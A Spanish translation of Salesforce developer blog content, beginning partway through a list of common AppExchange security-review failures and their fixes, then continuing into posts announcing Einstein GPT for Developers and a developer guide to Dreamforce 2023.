Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

